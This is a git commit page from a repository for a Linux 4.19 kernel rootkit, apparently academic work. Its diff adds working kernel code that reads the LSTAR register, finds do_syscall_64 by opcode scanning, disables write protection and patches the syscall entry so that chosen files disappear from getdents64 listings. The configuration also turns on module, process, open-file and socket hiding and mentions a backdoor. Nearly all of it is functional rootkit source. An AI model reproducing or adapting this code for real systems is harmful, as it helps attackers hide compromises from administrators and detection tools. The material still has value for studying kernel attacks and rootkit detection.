linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit a12402c5ac4d2ec9a49d4c19b60d5f42ba5578dc
parent 2ffbade4e923514bc21809da28f4ba51a2324ca5
Author: deurzen <m.deurzen@tum.de>
Date:   Sun, 10 Jan 2021 23:12:31 +0100

Merge branch 'master' into feat/port_knocking

Diffstat:
Asrc/filehide_lstar.c | 270+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/filehide_lstar.h | 3+++
Msrc/g7.c | 2+-
Msrc/hook.c | 13+++++++++----
Msrc/rootkit.h | 8+++++++-
5 files changed, 290 insertions(+), 6 deletions(-)

diff --git a/src/filehide_lstar.c b/src/filehide_lstar.c @@ -0,0 +1,269 @@ +#include <linux/kernel.h> +#include <linux/string.h> +#include <linux/slab.h> +#include <linux/fdtable.h> +#include <linux/dcache.h> +#include <linux/delay.h> +#include <linux/irqflags.h> +#include <asm/nospec-branch.h> +#include <asm/msr-index.h> + +#include "filehide_lstar.h" +#include "filehide.h" +#include "pidhide.h" +#include "openhide.h" +#include "common.h" +#include "rootkit.h" +#include "hook.h" + +#define SEARCHLEN 512 + +atomic_t syscall64_count; + +extern rootkit_t rootkit; + +//Idea: build path from entry_SYSCALL_64_trampoline to do_syscall64 by gathering addresses piece by piece +//(1) JMP_NOSPEC %rdi -> (2) [entry_SYSCALL_64_stage2] jmp entry_SYSCALL_64_after_hwframe -> (3) [entry_SYSCALL_64] call do_syscall_64 +// || ||=====> +// can be skipped ==========================================// + +//sign-extended (0x48 REX.W) mov rdi, imm +static const char *movSignExtended = "\x48\xc7\xc7"; + +//The first call in entry_SYSCALL_64 is the right one, so grabbing it is easy +static const char *callNearRelative = "\xE8"; + +static void hexdump(char *, int); +static unsigned long read_msr(unsigned int); +static inline unsigned long mem_offset(char *ptr); +static char *find_do_syscall_64(char *lstar_addr); + +void g7_syscall_64(unsigned long, struct pt_regs *); +void (*do_syscall_64)(unsigned long, struct pt_regs *); +void check_getdents64(void); +static char *syscall_64_ptr; +static unsigned long old_off; + +void +hide_files_lstar(void) +{ + atomic_set(&syscall64_count, 0); + syscall_64_ptr = find_do_syscall_64((char *)read_msr(MSR_LSTAR)); + + if(!do_syscall_64 || !syscall_64_ptr) { + DEBUG_INFO("Couldn't find do_syscall64!\n"); + return; + } + + //Calculate new call offset to our function + //newOff = g7_syscall_64_addr - nextOpcodeAddr + unsigned long new_off = (unsigned long)check_getdents64 - ((unsigned long)syscall_64_ptr + 5); + + disable_protection(); + memcpy((void *)check_getdents64, "\x90\x90\x90\x90\x90", 5); + memcpy((syscall_64_ptr + 1), &new_off, 4); + enable_protection(); + + hexdump((char *)check_getdents64, 32); +} + +void +unhide_files_lstar(void) +{ + disable_protection(); + memcpy((syscall_64_ptr + 1), &old_off, 4); + enable_protection(); + + if ((atomic_read(&syscall64_count)) > 0) + msleep(10000); +} + +//Only use with multiples of 16.. +//Best friend for this exercise, alongside https://defuse.ca/online-x86-assembler.htm +static void +hexdump(char *addr, int n) +{ + int k = 0; + + DEBUG_INFO("Hexdump:\n"); + while(k < n) { + DEBUG_INFO("%02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX", + addr[k], addr[k + 1], addr[k + 2], addr[k + 3], addr[k + 4], addr[k + 5], addr[k + 6], addr[k + 7], addr[k + 8], addr[k + 9], + addr[k + 10], addr[k + 11], addr[k + 12], addr[k + 13], addr[k + 14], addr[k + 15]); + k += 16; + } +} + +static inline long +sign_extend(int n) +{ + if(n & (1 << 31)) + return n |= 0xFFFFFFFF00000000; + + return n; +} + +//Get sign-extended 4 byte offset from memory +static inline unsigned long +mem_offset(char *ptr) +{ + unsigned long ret = 0; + + memcpy(&ret, ptr, 4); + return sign_extend(ret); +} + +//Finds do_syscall_64, sets it, and returns the pointer to the original call +static char * +find_do_syscall_64(char *lstar_addr) +{ + //Step 1: get address of stage 2 trampoline + //If lstar_addr points to entry_SYSCALL_64 directly, skip this part (the case on rkcheck VM) + unsigned long next_addr; + + char *stage2_ptr = strnstr(lstar_addr, movSignExtended, SEARCHLEN); + + if(!stage2_ptr) + //we are probably at entry_SYSCALL_64 + next_addr = (unsigned long)lstar_addr; + else + next_addr = mem_offset(stage2_ptr + 3); //3 bytes offset to skip opcode + + //Step 2: conveniently, no 'pointer' chasing is necessary, we can just look for the jump opcode from here + char *syscall64_call_ptr = strnstr((char *)next_addr, callNearRelative, SEARCHLEN); + + if(!syscall64_call_ptr) + return NULL; + + //Get offset from memory + unsigned long syscall64_off = old_off = mem_offset(syscall64_call_ptr + 1); //1 byte offset to skip call opcode + + //Store correct address of do_syscall_64 + //Offset relative to _next_ instruction -> e8 xx xx xx xx -> 5 bytes + do_syscall_64 = ((void *)syscall64_call_ptr + 5) + syscall64_off; + + return syscall64_call_ptr; +} + +//To avoid issues when unloading, check first for getdents64 +//Defer other syscalls to avoid increasing our atomic count +//We use a jump to avoid building a new stack frame with call +//GCC generates a call instruction at the beginning here that we overwrite with NOPs.. +//see also objdump -d -M intel g7.ko | grep -A 3 check_getdents64 +void +check_getdents64(void) +{ + __asm__ volatile ( + "\tcmp $217, %%rdi\n" + "\tje g7_syscall_64\n" + "\tjmp *%0\n" + :: "r"(do_syscall_64) + ); +} + +void +g7_syscall_64(unsigned long nr, struct pt_regs *pt_regs) +{ + atomic_inc(&syscall64_count); + do_syscall_64(nr, pt_regs); + + // + // ( ͡°Ĺ̯ ͡° ) + // + //https://elixir.bootlin.com/linux/v4.19.163/source/fs/buffer.c#L1218 + local_irq_enable(); + + typedef struct linux_dirent64 *dirent64_t_ptr; + + unsigned long offset; + dirent64_t_ptr kdirent, cur_kdirent, prev_kdirent; + struct dentry *kdirent_dentry; + + cur_kdirent = prev_kdirent = NULL; + int fd = (int)pt_regs->di; + dirent64_t_ptr dirent = (dirent64_t_ptr)pt_regs->si; + long ret = (long)regs_return_value(pt_regs); + + if (ret <= 0 || !(kdirent = (dirent64_t_ptr)kzalloc(ret, GFP_KERNEL))) + return; + + if (copy_from_user(kdirent, dirent, ret)) + goto yield; + + kdirent_dentry = current->files->fdt->fd[fd]->f_path.dentry; + + inode_list_t hidden_inodes = { 0, NULL }; + inode_list_t_ptr hi_head, hi_tail; + hi_head = hi_tail = &hidden_inodes; + + struct list_head *i; + list_for_each(i, &kdirent_dentry->d_subdirs) { + unsigned long inode; + struct dentry *child = list_entry(i, struct dentry, d_child); + + if ((inode = must_hide_inode(child))) + hi_tail = add_inode_to_list(hi_tail, inode); + } + + for (offset = 0; offset < ret;) { + cur_kdirent = (dirent64_t_ptr)((char *)kdirent + offset); + + if (list_contains_inode(hi_head, cur_kdirent->d_ino)) { + if (cur_kdirent == kdirent) { + ret -= cur_kdirent->d_reclen; + memmove(cur_kdirent, (char *)cur_kdirent + cur_kdirent->d_reclen, ret); + continue; + } + + prev_kdirent->d_reclen += cur_kdirent->d_reclen; + } else + prev_kdirent = cur_kdirent; + + offset += cur_kdirent->d_reclen; + } + + copy_to_user(dirent, kdirent, ret); + +yield: + kfree(kdirent); + + atomic_dec(&syscall64_count); + local_irq_disable(); +} + +static unsigned long +read_msr(unsigned int msr) +{ + unsigned int low, high; + + __asm__ volatile ( + "movl %[msr], %%ecx\n\t" + "rdmsr\n\t" + "mov %%eax, %[low]\n\t" + "mov %%edx, %[high]" + : [low] "=r" (low), [high] "=r" (high) + : [msr] "r" (msr) + : "ecx", "eax", "edx" + ); + + //Get two 32bit values into a 64bit variable + unsigned long ret = high; + ret <<= 32; + ret |= low; + + return ret; +} + +// static void +// write_msr(unsigned int low, unsigned int high, unsigned int msr) +// { +// __asm__ volatile ( +// "movl $0xc0000082, %%ecx\n\t" +// "mov %[low], %%eax\n\t" +// "mov %[high], %%edx\n\t" +// "wrmsr" +// : +// : [low] "r" (low), [high] "r" (high) +// : "ecx", "eax", "edx" +// ); +// } +\ No newline at end of file diff --git a/src/filehide_lstar.h b/src/filehide_lstar.h @@ -0,0 +1,2 @@ +void hide_files_lstar(void); +void unhide_files_lstar(void); +\ No newline at end of file diff --git a/src/g7.c b/src/g7.c @@ -41,7 +41,7 @@ static struct file_operations g7_fops = rootkit_t rootkit = { .hiding_module = true, - .hiding_files = true, + .hiding_files = FH_LSTAR, .hiding_open = true, .hiding_pids = true, .hiding_sockets = true, diff --git a/src/hook.c b/src/hook.c @@ -16,6 +16,7 @@ #include "rootkit.h" #include "modhide.h" #include "filehide.h" +#include "filehide_lstar.h" #include "backdoor.h" #include "pidhide.h" #include "openhide.h" @@ -79,8 +80,10 @@ init_hooks(void) if (rootkit.hiding_module) hide_module(); - if (rootkit.hiding_files) + if (rootkit.hiding_files == FH_TABLE) hide_files(); + else if (rootkit.hiding_files == FH_LSTAR) + hide_files_lstar(); if (rootkit.hiding_open) hide_open(); @@ -110,8 +113,10 @@ remove_hooks(void) if (rootkit.hiding_module) unhide_module(); - if (rootkit.hiding_files) + if (rootkit.hiding_files == FH_TABLE) unhide_files(); + else if(rootkit.hiding_files == FH_LSTAR) + unhide_files_lstar(); if (rootkit.hiding_open) unhide_open(); @@ -221,7 +226,7 @@ g7_getdents(const struct pt_regs *pt_regs) inode_list_t_ptr hi_head, hi_tail; hi_head = hi_tail = &hidden_inodes; - if (rootkit.hiding_files) { + if (rootkit.hiding_files == FH_TABLE) { struct list_head *i; list_for_each(i, &kdirent_dentry->d_subdirs) { unsigned long inode; @@ -302,7 +307,7 @@ g7_getdents64(const struct pt_regs *pt_regs) inode_list_t_ptr hi_head, hi_tail; hi_head = hi_tail = &hidden_inodes; - if (rootkit.hiding_files) { + if (rootkit.hiding_files == FH_TABLE) { struct list_head *i; list_for_each(i, &kdirent_dentry->d_subdirs) { unsigned long inode; diff --git a/src/rootkit.h b/src/rootkit.h @@ -9,10 +9,16 @@ typedef enum { BD_TTY, } bd_state_t; +typedef enum { + FH_OFF = 0, + FH_TABLE, + FH_LSTAR, +} fh_state_t; + typedef struct { sc_hook_t hooks[16]; bool hiding_module; - bool hiding_files; + fh_state_t hiding_files; bool hiding_pids; bool hiding_open; bool hiding_sockets;